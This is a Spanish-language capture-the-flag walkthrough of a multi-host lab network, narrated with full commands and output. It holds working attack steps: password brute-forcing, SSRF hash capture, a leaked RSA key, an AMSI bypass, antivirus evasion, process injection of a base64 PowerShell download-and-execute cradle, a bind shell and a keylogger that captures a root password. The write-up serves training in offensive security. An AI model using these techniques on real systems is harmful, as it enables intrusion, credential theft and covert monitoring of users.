Would you like to play a game?
RPG{c0waBuNg@!_Ssrf1n_iNtO_tHe_1nt3rn@l!}
Iniciamos escaneando los puertos con nmap
, en este caso especifico tenemos 2 hosts que son la .18
y .19
y estos seran nuestro punto de entrada para el laboratorio
❯ nmap 10.13.38.18-19
Nmap scan report for 10.13.38.18
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3000/tcp open ppp
Nmap scan report for 10.13.38.19
PORT STATE SERVICE
80/tcp open http
135/tcp open msrpc
445/tcp open microsoft-ds
8081/tcp open blackice-icecap
El host .19
tiene el smb abierto, el nombre de la maquina es gelus
y pertenece al dominio roundsoft.local
, pero sin credenciales validas no nos sirve de nada
❯ crackmapexec smb 10.13.38.19
SMB 10.13.38.19 445 GELUS [*] Windows 10.0 Build 17763 x64 (name:GELUS) (domain:Roundsoft.local) (signing:False) (SMBv1:False)
El puerto 80
que es una web en la .18
solo nos muestra una imagen y el puerto 3000
un login de rocket chat
al que sin credenciales no podemos obtener acceso
En el puerto 80
de la maquina .19
encontramos la clasica pagina por defecto de IIS
, y en el puerto 8081
se nos redirige a un panel de login de jfrog factory
Si acudimos a la documentación se nos habla de un usuario access-admin
que usa autenticacion basica, podemos intentar bruteforcear la contraseña de este usuario usando la api
, la contraseña Password12 nos devuelve un 404
en lugar del 401
❯ wfuzz -c -w /usr/share/seclists/Passwords/Leaked-Databases/honeynet.txt -u http://10.13.38.19:8081/access/api/v1 --basic access-admin:FUZZ -H "Content-Type: application/json" --hc 401
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.13.38.19:8081/access/api/v1
Total requests: 226081
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000966: 404 5 L 17 W 94 Ch "Password12"
Aunque tenemos la contraseña
si intentamos usarla en el login nos dice que el acceso a la interfaz
se ha deshabilitado especificamente para este usuario
Volviendo a la documentación se nos muestra como cambiar la contraseña
de un usuario, asi que podemos cambiarle la contraseña directamente al usuario admin
❯ curl -s -X PATCH http://10.13.38.19:8081/artifactory/api/access/api/v1/users/admin -u access-admin:Password12 -d '{"password":"password123#"}' -H 'Content-Type: application/json' | jq
{
"username": "admin",
"email": "jfrog-admin@roundsoft.local",
"realm": "internal",
"status": "enabled",
"allowed_ips": [
"*"
],
"created": "2019-11-16T17:25:13.904-08:00",
"modified": "2023-08-25T09:43:30.487-07:00",
"last_login_time": "2020-06-14T23:53:36.039-07:00",
"last_login_ip": "10.10.14.10",
"custom_data": {
"public_key": "JUHfDLxBPMe4YZbWLKdbams2ZTPq3rmG1zxgTFhrFQEh8fUTDWfNMxDka1ipqdZwGLZY6dhmWpZrYfefNiSQRMYGCidZs6YJEEwAgAJ4nEbyYE9KybxXWsSuHJ2VB1xpwsf1P",
"apiKey_shash": "CVH6pG",
"apiKey": "AKCp5e31BNLmPhjFrkk6oPKecoKcypYtxSY9QrMvDSHMWVgghVLFqfdpENgSfzQRqZsJmg1Pm",
"updatable_profile": "true",
"private_key": "JR5cohej8r9cKXYVgnxhLowKuQWaX4AjMQYxt2Up6AADGw6eaUkqfh3wRnPHTuC1cEeF24i1uwKQa4a8QH4G7QVLyGw2Ao5CAMSo451bu99myYXzbXhguUN9JnDwKVymHDws3JXHZ4iprQKzfdt79KJmNXCvJ6syqvBzoXNKxqCm8pYXhLBHDSGHu2AXbjmzGa8idkteMPXqvq9XqRNuiP8aUCPUQFUsSjic4LxRoQQtDBNjmjFGcbGLK7Gx9XotVBRyvB3pjcFxNJHA7KmTzy19qx1wa5YfEM2TmN48h8qxnpyqS9tZpQ84vr4VWXKnhok8XFPEaB5PbxHxhUTXcXnfumPYm1MDQtyp6zXQzxUB3PfGXMfF9LHvGwzwXH1mLZv3d2R2B5NwUU8RpQ3A2fXV6fvstkeyfqzprZmeqC2o9zHSc75KYQEhHqcoK8b9Yn1dcKbAdmevkAGQpjpfd8a8",
"artifactory_admin": "true"
},
"password_expired": false,
"password_last_modified": 1692981810487,
"groups": []
}
Al acceder como el usuario admin
con la contraseña que definimos ganamos acceso a la interfaz de Artifactory
, en el inicio se nos muestra que es la version 6.13.1
Podemos encontrar una funcion Import Repository from Path
en el apartado de repositorios y como es un windows podemos intentar que cargue el directorio de un recurso smb
y asi al conectarse e intentar autenticarse obtendremos un hash
Y aunque obtenemos un hash NTLMv2
la contraseña parece bastante fuerte por lo que no logramos crackearla a traves de fuerza bruta y obtenerla en texto plano
❯ impacket-smbserver kali . -smb2support
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (10.13.38.19,51463)
[*] AUTHENTICATE_MESSAGE (ROUNDSOFT\repository_admin,GELUS)
[*] User GELUS\repository_admin authenticated successfully
[*] repository_admin::ROUNDSOFT:aaaaaaaaaaaaaaaa:b7934db0c9890fdd5989d7f676864a35:010100000000000080ef733174d7d901cbbe46d0826260fe000000000100100041005000520046007700770058004e000300100041005000520046007700770058004e0002001000520043004c0050006900480044004f0004001000520043004c0050006900480044004f000700080080ef733174d7d90106000400020000000800300030000000000000000000000000200000126f6f06f8b269e05bc2e249448f3eaf73a53aa8ae17aa8e117857449cdeea160a0010000000000000000000000000000000000009001e0063006900660073002f00310030002e00310030002e00310034002e0032000000000000000000
[*] Closing down connection (10.13.38.19,51463)
[*] Remaining connections []
Revisando los logs
de las peticiones en el inicio encontramos peticiones desde la direccion 192.168.125.135
, por lo que probablemente exista esa interfaz
de red
Podriamos hacer lo de antes pero en lugar de apuntar a un recurso smb
interno mediante un SSRF
podriamos apuntar a uno interno para escanear el segmento
En el intruder podemos ver que los hosts .88
, .128
y .129
tienen un tiempo de respuesta considerablemente menor
al resto de peticiones hechas hasta la .256
Tenemos 3 hosts
activos que seran nuestro primer payload y el segundo sera una lista de palabras
que usaremos para bruteforcear posibles recursos smb
existentes
La longitud de la peticion development
hecha a la .129
es ligeramente menor al resto de peticiones por lo que podemos pensar que es un recurso
existente
Volvemos al apartado de Import Repository
esta vez usando un recurso smb interno que sera \\192.168.125.129\Development
para asi poder ver los archivos en el
Si ahora revisamos el repositorio se ha agregado una carpeta llamada feedback
la cual contiene diferentes archivos entre ellos la flag.txt
que podemos descargar
❯ cat flag.txt
RPG{c0waBuNg@!_Ssrf1n_iNtO_tHe_1nt3rn@l!}
Sword and mind
RPG{h1j@ckin_lyk_@_pir@t3}
Ademas nos encontramos con un archivo llamado key.txt
y un Feedbacks.exe
❯ cat key.txt
111091166030218062251222010115128136114113076235134212137064020174229081049098149097150097197008100104224193046241175229075026048009246089192212
❯ file Feedbacks.exe
Feedbacks.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows, 3 sections
Al ejecutarlo en una maquina windows nos pide una key
que probablemente es el txt
PS C:\Users\pc1\Desktop> .\Feedbacks.exe
Key required.
PS C:\Users\pc1\Desktop>
Para entender mejor lo que hace por detras usando dnspy podemos decompilarlo, en el encontramos una funcion GetFeedback
que recibe un argumento key
que usa como cabecera para autenticarse contra la api de 192.168.125.135:3000
Aplicamos un breakpoint
justo donde define la cabecera X-Auth-Token
y corremos el programa pasandole como argumento
la key que es el contenido de key.txt
Cuando se detiene en el breakpoint
podemos ver el valor de la variable key
que usa como contenido para la cabecera, esta cookie nos permitira autenticarnos
Ya que hace las peticiones hacia el puerto 3000
podemos suponer que es la 10.13.38.18
desde otra interfaz, autenticandonos con el token
obtenemos los identificadores de los chats
existentes para posteriormente poder leerlos
❯ curl -s -H "X-Auth-Token: _bXOx5rjOpTOE3hEfJNTzjAdTWEFas2um7xNH13ylZL" -H "X-User-Id: HTpmn63zyESXXsGZa" -H "Content-Type: application/json" "http://10.13.38.18:3000/api/v1/rooms.get" | jq -r '.update[] ._id'
2iHYAhwtJjbyj4a6N
DdjTRzK3eskaJ8zkL
GENERAL
HTpmn63zyESXXsGZackBN4uDvbKecTqoBS
HTpmn63zyESXXsGZakRyS6KgwZP4hHiLGz
Saw9bYrjnusg9bheG
X5xn88ZMRjpog4A9h
eoxPkMvnBNCB8q9n8
p3hQTN7DCc885v7cL
qfmwycKpPkHNkLsyg
En uno de los chats se menciona al usuario beta_user
y que este tiene una clave
❯ curl -s -H "X-Auth-Token: _bXOx5rjOpTOE3hEfJNTzjAdTWEFas2um7xNH13ylZL" -H "X-User-Id: HTpmn63zyESXXsGZa" -H "Content-Type: application/json" 'http://10.13.38.18:3000/api/v1/im.messages?roomId=HTpmn63zyESXXsGZackBN4uDvbKecTqoBS' | jq -r '.messages[] .msg'
No problem
thank you!
Let me know if you have any issues getting in
Ah yes. It should be 'beta_user'
any idea?
but looks like the username was changed
I have the key
so I wanted access to the Nix box
me too
Oh you know, the usual. You?
how are you doing ?
Greetings
hello sir
En otro chat podemos ver un mensaje donde menciona una clave
adjunta que se dice sera necesaria para acceder a la red y debe guardarse en un lugar seguro
❯ curl -s -H "X-Auth-Token: _bXOx5rjOpTOE3hEfJNTzjAdTWEFas2um7xNH13ylZL" -H "X-User-Id: HTpmn63zyESXXsGZa" -H "Content-Type: application/json" 'http://10.13.38.18:3000/api/v1/groups.messages?roomId=X5xn88ZMRjpog4A9h' | jq -r '.messages[] .msg'
There goes another weekend....
looks like we have a lot of work to do
@here Please keep checking #development_requests
OUT!!!
:anguished:
a...
v...
a...
J..
the next person who talks Java is OUT
look at all the shitty code >_<
please, for god's sake
https://github.com/pH-7/Simple-Java-Calculator
look a calc in Java
༼ つ ◕_◕ ༽つ
looking it'll be poppin' calc :joy:
MS open sourced calc
https://github.com/microsoft/calculator
funny, look at this
[ ](http://192.168.125.135:3000/group/developers_chat?msg=uJzWdzdN6qRhBi2vL)
Announcement: The following attached key is necessary for accessing the development network. You each should have the appropriate login name. *Please keep this key safe! *
lulz
you're a skid
I knew it
I must've done something like that...
:cold_sweat:
It sucks when people DoS the boxes
...........................................................................................................................................................................
Revisando el campo title_link
de los attachments
encontramos algunas rutas, de ellas hay una que llama la atencion que es es archivo llamado key.txt
❯ curl -s -H "X-Auth-Token: _bXOx5rjOpTOE3hEfJNTzjAdTWEFas2um7xNH13ylZL" -H "X-User-Id: HTpmn63zyESXXsGZa" -H "Content-Type: application/json" 'http://10.13.38.18:3000/api/v1/groups.messages?roomId=X5xn88ZMRjpog4A9h' | jq -r '.messages[] | select(.attachments) | .attachments[] .title_link'
/file-upload/qAiRe6ijGYYhqmNuK/angry-dwight.gif
/file-upload/DuHLkxGXNFcvWZSDe/Clipboard%20-%20November%2017,%202019%2011:11%20AM
/file-upload/HsfMgTAbbFqDykhJM/SimpleJavaCalculator.java
/file-upload/RNquHSJfdjFiQJbCp/Calculator.java
/file-upload/crBDvzQkhN77KLrxz/key.txt
Podemos leer el contenido y se trata de una clave RSA
probablemente para ssh
❯ curl -s -H "X-Auth-Token: _bXOx5rjOpTOE3hEfJNTzjAdTWEFas2um7xNH13ylZL" -H "X-User-Id: HTpmn63zyESXXsGZa" -H "Content-Type: application/json" http://10.13.38.18:3000/file-upload/crBDvzQkhN77KLrxz/key.txt
-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEAvucLZy/B0XvfbJWL0PKMyJU7sMsV84GJfUnxQd2dRYo5L6Ka
lZd3l+6++GkiTdLEIHQgSkeqIxQ53B7Ju8WdNfrOBmnkpMDVaFVt0S5nR1DJ/K5E
Jh836bGuXK3gqvAOaIayAj64CbiWPbwHUJ2ZWXWJNH8sUY7F1lqMYoXDfCtmLYd2
8zZyqSEXBs8ONDwsVTnzDyMfIHU96d3LzyA0D/Gqn2NTb142yGHhnRbXFnfxkMcf
+VKKXYF71N3Wo1bIVGMk7L3OHdRXbjgX/VQ7GkN0ZNHgAI2vNinzQRFnZxIpaIgV
wAQ8ygt9PocHaiYK7rNmpZU7hzOSeAC3t+HEQwIDAQABAoIBAQCx/hhauGN9X4L8
6h53zn7HUqVZ/LDV3vSDldrVL71AplUVfgWl7pj6VwdF9Dig2SA2pi+pMlKG7Ifa
Hfa4FdO0Dcnknv0pRAZ2hhijTiHLk58Q8qbl6HuocBuDnDd7CeJVQSleAH51yd6D
ZvpnBtqBV557DQwUaws5BioYfmG7NdlgZR4ZWH6eb6zhAByq9mX1wcT5IeNH4mXZ
inLPev2op98kswLLs56RHoSH7TIDX8QDoXho+4RQ78jvzYYhlGVDyAtEcEo6h7+M
rdfVAV+061pBBandzCtedAO75Ahsa5qBhpb9yvAIvcg0hjNXeVlZuX/x9CF8qZCJ
us1FfcYxAoGBAPTypqYHekZXnY6YzWQ2dSVbUzFYEmlqeEwvDGGbhwPsRlWvY3SG
u17lT+OHWpYS4EF6CPkStR3SJrnSbjfm/gKurayLyKwB3s/VS0Ah1wh54pDsbXu9
zcu1TiADxWEjBeBHsSoFIzPmEtwf0hu/Qe47QXdsBiU+sx7G6KcAjhb5AoGBAMeE
ICFNkwpop8mh5da0pSSP1R/Ke/a2S5UcziMeUhmQRHv+cKmvuEnNBUIEFPilcDvN
mr8Ja/P4+P3yRV1szoTVuCfO6cBxsX3gO7Ea5GlnMQBxgDGWMR8/UhGwTMxYDHDj
76yp6FrCUmPNDj/3TglGHcGLcl/eXmLcfM5mLhgbAoGBAJ9fdiCWwu8buK78Kr8m
U6g/uGxlom0mUik3f3XOrNVXmRfNKwe5VhZTW1xuR/lXRMQ1c7sjeeZyQrIrAX2r
9N+n6eZXePS5rtBJNlH+8ptYOpsSydV2VH1TdQaNjZI7KGqaGuJ9Pz9YVjMVHS7i
jTJFKb5a8dCv7/l5cAyg5tJ5AoGAcnd7d5/qHK6ulSAtnWFG3hMnU3X4aTNtab99
BOkAcWoz4G+6c6A9OxpFSfrNjVpdafIsNi5RoUfWktvMsC0cz1lOrogn1CFmk7Fy
jcnAAjkSBA8aXViuFh9eFofvh818VchwWb+hb3DNlDSxWEGqo+d2avR2SkpqHI4j
jMdS6sECgYEAg9AhMsjpYZs5TAm3z8OaRoQMOndX0DGrqsOVtOc38vxWihiUsaVq
aXM9ciStPc4OnIReQyet5u1BSrKux4DCjtpf7JxNrFdSB6lbyVIu/jWrTXiP9dfD
XlWHR1siUlJmdvbPtgp9+YQ4pDUWkbG9uOPXWgkvGnXGfqugbIvVgPo=
-----END RSA PRIVATE KEY-----
Antes se hablaba del usuario beta_user
que necesitaba una clave para acceder, al conectarnos a ssh
como este proporcionando la id_rsa
obtenemos una shell
❯ ssh beta_user@10.13.38.18 -i id_rsa
beta_user@Ignis:~$ id
uid=1002(beta_user) gid=1002(beta_user) groups=1002(beta_user)
beta_user@Ignis:~$ hostname -I
10.13.38.18 192.168.125.135 172.17.0.1 dead:beef::250:56ff:fe07:4590
beta_user@Ignis:~$
Ya dentro de la maquina podemos acceder a la db de mongo
que se utiliza para gestionar de la web de rocket chat
, en ella encontramos 3 dbs, usaremos parties
beta_user@Ignis:/snap/rocketchat-server/1427/bin$ ./mongo
MongoDB shell version v3.6.14
connecting to: mongodb://127.0.0.1:27017/?gssapiServiceName=mongodb
Implicit session: session { "id" : UUID("87397f7a-ad2b-42b1-8aa0-77784876b82a") }
MongoDB server version: 3.6.14
Welcome to the MongoDB shell.
For interactive help, type "help".
For more comprehensive documentation, see
http://docs.mongodb.org/
Questions? Try the support group
http://groups.google.com/group/mongodb-user
Server has startup warnings:
2023-08-25T00:06:02.664+0000 I STORAGE [initandlisten]
2023-08-25T00:06:02.664+0000 I STORAGE [initandlisten] ** WARNING: Using the XFS filesystem is strongly recommended with the WiredTiger storage engine
2023-08-25T00:06:02.664+0000 I STORAGE [initandlisten] ** See http://dochub.mongodb.org/core/prodnotes-filesystem
2023-08-25T00:06:07.539+0000 I CONTROL [initandlisten]
2023-08-25T00:06:07.539+0000 I CONTROL [initandlisten] ** WARNING: Access control is not enabled for the database.
2023-08-25T00:06:07.539+0000 I CONTROL [initandlisten] ** Read and write access to data and configuration is unrestricted.
2023-08-25T00:06:07.539+0000 I CONTROL [initandlisten] ** WARNING: You are running this process as the root user, which is not recommended.
2023-08-25T00:06:07.539+0000 I CONTROL [initandlisten]
rs0:PRIMARY> show dbs
admin 0.000GB
config 0.000GB
local 0.031GB
parties 0.010GB
rs0:PRIMARY> use parties
switched to db parties
rs0:PRIMARY>
En la documentacion de rocket chat se nos muestra una forma de cambiar la contraseña de un usuario a traves de mongdb, cambiaremos la de dev-admin
rs0:PRIMARY> db.users.update({"username": "dev-admin"}, {$set:{"services.password.bcrypt":"$2a$10$n9CM8OgInDlwpvjLKLPML.eizXIzLlRtgCh3GRLafOdR9ldAUh/KG"}})
WriteResult({ "nMatched" : 1, "nUpserted" : 0, "nModified" : 1 })
rs0:PRIMARY>
Ahora podemos acceder a la interfaz como dev-admin
y la contraseña 12345
En el canal onboarding_information
el usuario roundsoft_hr da informacion sobre el sitio y muestra una contraseña
por defecto que tal vez podriamos utilizar
Un poco mas abajo encontramos un hilo creado por janderson
ya que su contraseña no funciona, la respuesta es que esta ha cambiado y se proporciona la nueva
Sabemos que existen varios equipos
en donde podriamos probar autenticarnos, despues de un escaneo con nmap
de los hosts que conocemos podemos idenfiticar a la .128
como DC y la .88
junto a la .129
como maquinas asociadas al dominio
beta_user@Ignis:~$ ./nmap -T5 -Pn -n 192.168.125.88
Nmap scan report for 192.168.125.88
PORT STATE SERVICE
80/tcp open http
135/tcp open loc-srv
139/tcp open netbios-ssn
445/tcp open microsoft-ds
5985/tcp open unknown
8040/tcp open unknown
8045/tcp open unknown
8081/tcp open tproxy
beta_user@Ignis:~$ ./nmap -T5 -Pn -n 192.168.125.128
Nmap scan report for 192.168.125.128
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos
135/tcp open loc-srv
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd
593/tcp open unknown
636/tcp open ldaps
3268/tcp open unknown
3269/tcp open unknown
5985/tcp open unknown
9389/tcp open unknown
beta_user@Ignis:~$ ./nmap -T5 -Pn -n 192.168.125.129
Nmap scan report for 192.168.125.129
PORT STATE SERVICE
135/tcp open loc-srv
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3389/tcp open unknown
5985/tcp open unknown
beta_user@Ignis:~$
Para tener conexion desde nuestro equipo podemos usar ligolo-ng usando el agent
para conectarnos a nuestro equipo por el puerto 11601
que nos marca el proxy
beta_user@Ignis:~$ ./agent -connect 10.10.14.10:11601 -ignore-cert &
WARN[0000] warning, certificate validation disabled
INFO[0000] Connection established addr="10.10.14.10:11601"
beta_user@Ignis:~$
En el proxy obtenemos una sesión
, la indicamos e iniciamos el tunel con start
❯ ./proxy -selfcert
WARN[0000] Using automatically generated self-signed certificates (Not recommended)
INFO[0000] Listening on 0.0.0.0:11601
__ _ __
/ / (_)___ _____ / /___ ____ ____ _
/ / / / __ `/ __ \/ / __ \______/ __ \/ __ `/
/ /___/ / /_/ / /_/ / / /_/ /_____/ / / / /_/ /
/_____/_/\__, /\____/_/\____/ /_/ /_/\__, /
/____/ /____/
Made in France ♥ by @Nicocha30!
ligolo-ng »
INFO[0011] Agent joined. name=beta_user@Ignis remote="10.13.38.18:43462"
ligolo-ng » session
? Specify a session : 1 - beta_user@Ignis - 10.13.38.18:43462
[Agent : beta_user@Ignis] » start
INFO[0014] Starting tunnel to beta_user@Ignis
[Agent : beta_user@Ignis] »
Agregamos el segmento 192.168.125.0/24
a la interfaz de ligolo
y ahora tenemos conexión con todos los equipos del dominio, podemos comprobarlo con un ping
❯ sudo ip route add 192.168.125.0/24 dev ligolo
❯ ping -c1 -w1 192.168.125.128
PING 192.168.125.128 (192.168.125.128) 56(84) bytes of data.
64 bytes from 192.168.125.128: icmp_seq=1 ttl=64 time=164 ms
--- 192.168.125.128 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 163.769/163.769/163.769/0.000 ms
Despues de configurar ligolo
logramos tener conexión
con los tres equipos windows, con crackmapexec
podemos ver los nombres de equipos del dominio
❯ crackmapexec smb 192.168.125.88-129
SMB 192.168.125.88 445 GELUS [*] Windows 10.0 Build 17763 x64 (name:GELUS) (domain:Roundsoft.local) (signing:False) (SMBv1:False)
SMB 192.168.125.128 445 SHINRA [*] Windows Server 2016 Standard 14393 x64 (name:SHINRA) (domain:Roundsoft.local) (signing:True) (SMBv1:True)
SMB 192.168.125.129 445 LUX [*] Windows 10.0 Build 18362 x64 (name:LUX) (domain:Roundsoft.local) (signing:False) (SMBv1:False)
Por comodidad y posibles proximos ataques agregaremos al archivo /etc/hosts
las direcciones con su dominio
que sera el hostname
y el dominio roundsoft.local
❯ tail -n3 /etc/hosts
192.168.125.88 gelus.roundsoft.local
192.168.125.128 shinra.roundsoft.local roundsoft.local
192.168.125.129 lux.roundsoft.local
Podemos comprobar la contraseña que recibio el usuario janderson
a traves de el chat contra SHINRA
que es el DC
, las credenciales son validas a nivel de dominio
❯ crackmapexec smb shinra.roundsoft.local -u janderson -p Welcome_roundsoft2019!
SMB roundsoft.local 445 SHINRA [*] Windows Server 2016 Standard 14393 x64 (name:SHINRA) (domain:Roundsoft.local) (signing:True) (SMBv1:True)
SMB roundsoft.local 445 SHINRA [+] Roundsoft.local\janderson:Welcome_roundsoft2019!
Podemos probar las credenciales para el protocolo winrm
hacia todos los equipos del dominio, todos devuelven error excepto el host .129
que devuelve un Pwn3d!
❯ crackmapexec winrm 192.168.125.88-129 -u janderson -p Welcome_roundsoft2019!
SMB 192.168.125.88 5985 GELUS [*] Windows 10.0 Build 17763 (name:GELUS) (domain:Roundsoft.local)
SMB 192.168.125.128 5985 SHINRA [*] Windows 10.0 Build 14393 (name:SHINRA) (domain:Roundsoft.local)
SMB 192.168.125.129 5985 LUX [*] Windows 10.0 Build 18362 (name:LUX) (domain:Roundsoft.local)
HTTP 192.168.125.88 5985 GELUS [*] http://192.168.125.88:5985/wsman
HTTP 192.168.125.128 5985 SHINRA [*] http://192.168.125.128:5985/wsman
HTTP 192.168.125.129 5985 LUX [*] http://192.168.125.129:5985/wsman
HTTP 192.168.125.88 5985 GELUS [-] Roundsoft.local\janderson:Welcome_roundsoft2019!
HTTP 192.168.125.128 5985 SHINRA [-] Roundsoft.local\janderson:Welcome_roundsoft2019!
HTTP 192.168.125.129 5985 LUX [+] Roundsoft.local\janderson:Welcome_roundsoft2019! (Pwn3d!)
Simplemente nos conectamos haciendo uso de evil-winrm
al equipo LUX
donde las credenciales son validas y obtenemos una powershell como el usuario janderson
❯ evil-winrm -i lux.roundsoft.local -u janderson -p Welcome_roundsoft2019!
PS C:\Users\janderson\Documents> whoami
roundsoft\janderson
PS C:\Users\janderson\Documents>
Aunque el antivirus esta activo y el winpeas normal se borrara al subirlo podemos usar la version ofuscada
de este para asi bypassearlo y se ejecute normalmente
PS C:\Users\janderson\Documents> upload winpeas_ofs.exe
Info: Uploading winpeas_ofs.exe to C:\Users\janderson\Documents\winpeas_ofs.exe
Data: 2979156 bytes of 2979156 bytes copied
Info: Upload successful!
PS C:\Users\janderson\Documents> .\winpeas_ofs.exe
Entre las cosas que nos muestra podemos encontrar 2 que llaman la atencion, y es una sesion de RDP
y una session de Putty
, por lo que puede que haya algo en ella
╔══════════╣ RDP Sessions
SessID pSessionName pUserName pDomainName State SourceIP
1 janderson ROUNDSOFT Disconnected
╔══════════╣ Putty SSH Host keys
ssh-ed25519@22:192.168.125.135:
Lo primero que haremos despues de bypassear el amsi
sera subir un keylogger que detectara todas las pulsaciones en la sesion y las guardara en un archivo .log
PS C:\Users\janderson\Documents> Bypass-4MSI
Info: Patching 4MSI, please be patient...
[+] Success!
PS C:\Users\janderson\Documents> upload Keylogger_x64.exe
Info: Uploading Keylogger_x64.exe to C:\Users\janderson\Documents\Keylogger_x64.exe
Data: 48468 bytes of 48468 bytes copied
Info: Upload successful!
PS C:\Users\janderson\Documents>
Sin embargo, no podemos hacerlo desde el contexto actual sino migrar
a un proceso de la sesión, para ello podemos usar Invoke-PSInject, sin embargo al intentar importarlo nos dice que la ejecucion scripts
estan deshabilitada en el sistema
PS C:\Users\janderson\Documents> upload Invoke-PSInject.ps1
Info: Uploading Invoke-PSInject.ps1 to C:\Users\janderson\Documents\Invoke-PSInject.ps1
Data: 682728 bytes of 682728 bytes copied
Info: Upload successful!
PS C:\Users\janderson\Documents> Import-Module .\Invoke-PSInject.ps1
File C:\Users\janderson\Documents\Invoke-PSInject.ps1 cannot be loaded because running scripts is disabled on this system. For more information, see about_Execution_Policies at https:/go.microsoft.com/fwlink/?LinkID=135170.
At line:1 char:1
+ Import-Module .\Invoke-PSInject.ps1
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : SecurityError: (:) [Import-Module], PSSecurityException
+ FullyQualifiedErrorId : UnauthorizedAccess,Microsoft.PowerShell.Commands.ImportModuleCommand
PS C:\Users\janderson\Documents>
Podemos aprovechar el parametro -s
incluido en evil-winrm
para bypassear esta restriccion indicando una ruta para los scripts
para despues llamarlos
❯ evil-winrm -i lux.roundsoft.local -u janderson -p Welcome_roundsoft2019! -s .
PS C:\Users\janderson\Documents> Invoke-PSInject.ps1
PS C:\Users\janderson\Documents>
Usaremos powercat, agregaremos una linea para que abra el puerto 4444
y ejecute una powershell, sin embargo el antivirus
detecta la string powercat
como maliciosa, podemos simplemente cambiarlo por pocat
para que no lo detecte
❯ echo 'powercat -l -p 4444 -e powershell' >> powercat.ps1
❯ sed -i 's/powercat/pocat/' powercat.ps1
Ahora subiremos el script a la maquina ignis
que tenemos ya que la maquina no tiene conexion directa con nosotros, en ella iniciaremos un servidor http
con python
❯ scp -i id_rsa pocat.ps1 beta_user@10.13.38.18:.
beta_user@Ignis:~$ python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
Tambien crearemos un payload en base64
para que en caso de ser ejecutado haga una peticion hacia el script pocat.ps1
que compartimos y lo interprete con IEX
❯ echo -n "powershell -c 'IWR 192.168.125.135:8080/pocat.ps1 | IEX'" | iconv -t utf16le | base64 -w0
cABvAHcAZQByAHMAaABlAGwAbAAgAC0AYwAgACcASQBXAFIAIAAxADkAMgAuADEANgA4AC4AMQAyADUALgAxADMANQA6ADgAMAA4ADAALwBwAG8AYwBhAHQALgBwAHMAMQAgAHwAIABJAEUAWAAnAA==
Ahora tomaremos el pid
de proceso de la sesion donde inyectaremos el payload, en este caso usaremos el proceso RuntimeBroker
que pertenece al pid 2852
PS C:\Users\janderson\Documents> Get-Process RuntimeBroker
Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName
------- ------ ----- ----- ------ -- -- -----------
142 9 2060 4268 0.09 2852 1 RuntimeBroker
564 26 12720 17760 3392 4 RuntimeBroker
410 19 6432 14360 1.45 5036 1 RuntimeBroker
423 23 8528 12144 0.70 5804 1 RuntimeBroker
138 8 1532 1272 0.06 6492 1 RuntimeBroker
269 14 3044 10720 1.61 6944 1 RuntimeBroker
329 17 4292 4464 8444 4 RuntimeBroker
239 13 2748 8816 9068 4 RuntimeBroker
138 8 1524 1388 9588 4 RuntimeBroker
213 12 2556 2572 9608 4 RuntimeBroker
142 9 2000 8072 10284 4 RuntimeBroker
189 13 4756 14460 10568 4 RuntimeBroker
297 17 5112 17172 0.31 11020 1 RuntimeBroker
PS C:\Users\janderson\Documents>
Finalmente usamos la funcion Invoke-PSInject
que importamos antes para inyectar nuestro payload en base64 en el pid 2852
perteneciente al proceso RuntimeBroker
PS C:\Users\janderson\Documents> Invoke-PSInject -Procid 2852 -PoshCode cABvAHcAZQByAHMAaABlAGwAbAAgAC0AYwAgACcASQBXAFIAIAAxADkAMgAuADEANgA4AC4AMQAyADUALgAxADMANQA6ADgAMAA4ADAALwBwAG8AYwBhAHQALgBwAHMAMQAgAHwAIABJAEUAWAAnAA==
PS C:\Users\janderson\Documents>
Al hacerlo recibimos una peticion en el servidor http hacia /pocat.ps1
por lo que el comando se ejecuto correctamente y significa que el script
se ha interpretado
beta_user@Ignis:~$ python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
192.168.125.129 - - "GET /pocat.ps1 HTTP/1.1" 200 -
Ahora podemos simplemente conectarnos al puerto 4444
de la maquina y nos recibe una powershell
de janderson que se abrio al interpretarce el script pocat.ps1
❯ netcat lux.roundsoft.local 4444
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\Windows\system32> whoami
roundsoft\janderson
PS C:\Windows\system32>
Bajo el contexto del proceso RuntimeBroker
ahora podemos ejecutar el keylogger
que subimos antes y dejarlo corriendo en espera de pulsaciones
de la sesion
PS C:\Users\janderson\Documents> .\Keylogger_x64.exe
Despues de algunos segundos que se reinicia la sesion de putty
y el usuario ingresa la contraseña logramos detectar las pulsaciones y por lo tanto la contraseña
PS C:\Users\janderson\Documents> type Keylogger_x64.log
(03^69<@BHM*/KY4z[ENTER]
PS C:\Users\janderson\Documents>
Podemos conectarnos como root
con esta contraseña a traves de ssh
y leer la flag
❯ ssh root@10.13.38.18
root@10.13.38.18's password: (03^69<@BHM*/KY4z
root@Ignis:~# id
uid=0(root) gid=0(root) groups=0(root)
root@Ignis:~# hostname -I
10.13.38.18 192.168.125.135 172.17.0.1 dead:beef::250:56ff:fe07:4590
root@Ignis:~# cat flag.txt
RPG{h1j@ckin_lyk_@_pir@t3}
root@Ignis:~#
Otra forma de hacerlo es con metasploit
, para ello iniciamos creando un listener de meterpreter
por el puerto 4444
pero hay que tener algunas cosas en cuenta
❯ sudo msfconsole -q
[msf](Jobs:0 Agents:0) >> use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
